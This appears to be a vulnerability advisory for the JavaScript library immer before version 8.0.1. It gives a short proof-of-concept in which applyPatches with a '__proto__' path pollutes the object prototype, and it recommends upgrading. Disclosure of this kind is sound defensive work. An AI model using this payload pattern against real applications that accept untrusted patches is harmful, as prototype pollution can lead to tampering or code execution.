| Package | Affected versions | Patched versions |
|---|---|---|
| immer | < 8.0.1 | 8.0.1 |
| immer | ≥ 7.0.0, < 8.0.1 | 8.0.1 |
Affected versions of immer are vulnerable to Prototype Pollution.
const {applyPatches, enablePatches} = require("immer");
enablePatches();
let obj = {};
console.log("Before : " + obj.polluted);
applyPatches({}, [ { op: 'add', path: [ "__proto__", "polluted" ], value: "yes" } ]);
// applyPatches({}, [ { op: 'replace', path: [ "__proto__", "polluted" ], value: "yes" } ]);
console.log("After : " + obj.polluted);
Version 8.0.1 contains a fix for this vulnerability, updating is recommended.
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site free